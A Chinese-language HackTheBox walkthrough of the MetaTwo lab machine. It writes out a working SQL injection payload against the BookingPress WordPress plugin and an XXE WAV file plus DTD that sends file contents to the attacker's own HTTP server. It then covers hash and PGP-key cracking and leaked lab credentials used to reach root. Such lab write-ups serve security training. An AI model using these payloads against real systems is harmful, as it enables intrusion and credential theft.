1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > HackTheBox MetaTwo 网站框架CVE获取用户shell和破解私钥提权

HackTheBox MetaTwo 网站框架CVE获取用户shell和破解私钥提权

时间:2019-03-18 20:09:18

相关推荐

HackTheBox MetaTwo 网站框架CVE获取用户shell和破解私钥提权

题目网址:

/machines/MetaTwo

枚举

使用nmap枚举靶机

nmap -sC -sV -p- 10.10.11.186

扫到了域名,我们本地dns解析一下

echo "10.10.11.186 metapress.htb" >> /etc/hosts

然后就是老三样,枚举网站根目录,子域名枚举,网站框架枚举

首先枚举网站根目录

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -t 100 -mc 200,302,301 -u http://metapress.htb/FUZZ

只扫到了网站的后台和一大堆没什么用的东西,然后枚举子域名,并没有找到什么有用的东西

然后就是网站的框架枚举,我们要用到Wappalyzer这个模块

下载地址:

/en-US/firefox/addon/wappalyzer/?utm_source=&utm_medium=referral&utm_content=search

安装好后去到网站页面,打开任务栏里的Wappalyzer模块

可以看到很多有用的信息,还可以用nuclei这个工具

apt install nucleinuclei -u http://metapress.htb/

也能扫描到很多信息,现在我们知道这个网站的框架是WordPress,版本是5.6.2,我用searchsploitsearchsploit搜索了一下此版本的漏洞,需要登录后台才能用一个XXE的漏洞,既然是WordPress框架的,那就要用wpscan枚举一下

wpscan --url http://metapress.htb -e p,u --plugins-detection aggressive

找到了robots文件

CVE漏洞

然后我一个一个点,发现只是网站的存在的根目录而已,然后我又在每个目录页面查看源代码看看有没有什么突破点,结果找到了一个

在这个页面发现了booking press框架,版本为1.0.10,通过搜索发现,这个框架版本有sql注入的漏洞

/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357

该插件在通过 bookingpress_front_get_category_services AJAX 操作用于动态构造的 SQL 查询之前无法正确清理用户提供的 POST 数据(可用于未经身份验证的用户),导致未经身份验证的 SQL 注入

然后根据这个网站的payload来测试

首先根据上面说的,我们要在刚刚的源代码页面搜索action:

_wpnonce:'31bef7a194'

然后用以下payload测试

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=31bef7a194&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

泄露了数据库名,数据库版本,系统信息等其他的东西,现在就是常规的sql注入测试了

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=31bef7a194&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login),group_concat(user_pass),@@version_compile_os,1,2,3,4,5,6 from wp_users-- -'

获取了网站用户密码的hash值,现在爆破一下

admin $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.manager $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

john -w=/usr/share/wordlists/rockyou.txt hash

只爆破出了一个密码,我尝试登录ftp和ssh发现都不行,只能登录网站后台

通过前面对wordpress 5.6.2版本的漏洞搜索,发现了一个XXE的漏洞

/vulnerabilities/web/wordpress-5-6-x-multiple-vulnerabilities-5-6-5-6-2/

安全公司 SonarSource 的研究人员在 WordPress 媒体库中发现了一个 XML 外部实体注入 (XXE) 安全漏洞。仅当此 CMS 在 PHP 8 中运行 并且 攻击用户具有上传媒体文件的权限时,才能利用该漏洞

获取用户shell

利用过程参考这篇github

/motikan/CVE--29447

下载这些文件

根据文章操作

make up-wpphp -S 0.0.0.0:8001

然后修改此文件的ip地址

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.9:8001/dedsec.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

然后创建一个dedsec.dtd文件,里面是我们的恶意代码

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.9:8001/?p=%file;'>" >

然后上传我们刚刚创建的payload.wav文件

http://metapress.htb/wp-admin/upload.php

得到了一串base64编码,我们解密看看

得到了靶机的/etc/passwd文件内容,现在我们获取一下网站配置,看看有没有有用的东西

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php"><!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.9:8001/?p=%file;'>" >

继续上传payload文件

继续解密,将此base64编码解密后的内容:

<?php/** The name of the database for WordPress */define( 'DB_NAME', 'blog' );/** MySQL database username */define( 'DB_USER', 'blog' );/** MySQL database password */define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );/** MySQL hostname */define( 'DB_HOST', 'localhost' );/** Database Charset to use in creating database tables. */define( 'DB_CHARSET', 'utf8mb4' );/** The Database Collate type. Don't change this if in doubt. */define( 'DB_COLLATE', '' );define( 'FS_METHOD', 'ftpext' );define( 'FTP_USER', 'metapress.htb' );define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );define( 'FTP_HOST', 'ftp.metapress.htb' );define( 'FTP_BASE', 'blog/' );define( 'FTP_SSL', false );/**#@+* Authentication Unique Keys and Salts.* @since 2.6.0*/define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );/*** WordPress Database Table prefix.*/$table_prefix = 'wp_';/*** For developers: WordPress debugging mode.* @link /support/article/debugging-in-wordpress/*/define( 'WP_DEBUG', false );/** Absolute path to the WordPress directory. */if ( ! defined( 'ABSPATH' ) ) {define( 'ABSPATH', __DIR__ . '/' );}/** Sets up WordPress vars and included files. */require_once ABSPATH . 'wp-settings.php';

我们找到了ftp用户的账号和密码

用户名:metapress.htb密码:9NYS_ii@FyL_p5M2NvJ

然后我们登录ftp看看

ftp 10.10.11.186

在mailer文件夹下,找到了一个有用的php文件,将他下载到本地

get send_email.php

<?php/** This script will be used to send an email to all our users when ready for launch*/use PHPMailer\PHPMailer\PHPMailer;use PHPMailer\PHPMailer\SMTP;use PHPMailer\PHPMailer\Exception;require 'PHPMailer/src/Exception.php';require 'PHPMailer/src/PHPMailer.php';require 'PHPMailer/src/SMTP.php';$mail = new PHPMailer(true);$mail->SMTPDebug = 3; $mail->isSMTP(); $mail->Host = "mail.metapress.htb";$mail->SMTPAuth = true;$mail->Username = "jnelson@metapress.htb"; $mail->Password = "Cb4_JmWM8zUZWMu@Ys"; $mail->SMTPSecure = "tls"; $mail->Port = 587;$mail->From = "jnelson@metapress.htb";$mail->FromName = "James Nelson";$mail->addAddress("info@metapress.htb");$mail->isHTML(true);$mail->Subject = "Startup";$mail->Body = "<i>We just started our new blog metapress.htb!</i>";try {$mail->send();echo "Message has been sent successfully";} catch (Exception $e) {echo "Mailer Error: " . $mail->ErrorInfo;}

找到了用户名和密码

用户名:jnelson密码:Cb4_JmWM8zUZWMu@Ys

然后尝试登录ssh

ssh jnelson@10.10.11.186

成功获得用户权限

破解私钥提权

登录之后,我查看了当前文件夹下的所有文件,发现了passpie程序的文件夹,这个程序是用来管理密码的

进去找了一下,发现了一个pgp私钥文件,我们先将.keys文件下载到本地,其实kali本地创建一个文件,然后复制粘贴也可以

scp jnelson@10.10.11.186:.passpie/.keys .keys

这个.keys里有两个密钥,一个公钥,一个私钥,我把公钥删了,不然等一下工具用不了,然后把文件改个名

先用gpg2john将key文件转换为john可爆破的格式,然后用john爆破

gpg2john key > hashjohn -w=/usr/share/wordlists/rockyou.txt hash

passpie密码为:blink182

爆破出密码后回到靶机,查看passpie里存放的密码,输入密码得到root密码

passpie listpasspie export pass

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。